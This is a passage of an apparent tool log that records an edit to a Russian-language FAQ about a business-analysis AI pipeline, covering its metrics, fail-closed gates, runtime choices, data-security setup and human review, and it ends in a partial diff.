\u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:44.786Z] [INFO]       {\n[2026-09-29T07:55:44.786Z] [INFO]         \"oldStart\": 139,\n[2026-09-29T07:55:44.786Z] [INFO]         \"oldLines\": 13,\n[2026-09-29T07:55:44.786Z] [INFO]         \"newStart\": 139,\n[2026-09-29T07:55:44.786Z] [INFO]         \"newLines\": 13,\n[2026-09-29T07:55:44.786Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:44.786Z] [INFO]           \" \",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:55:44.786Z] 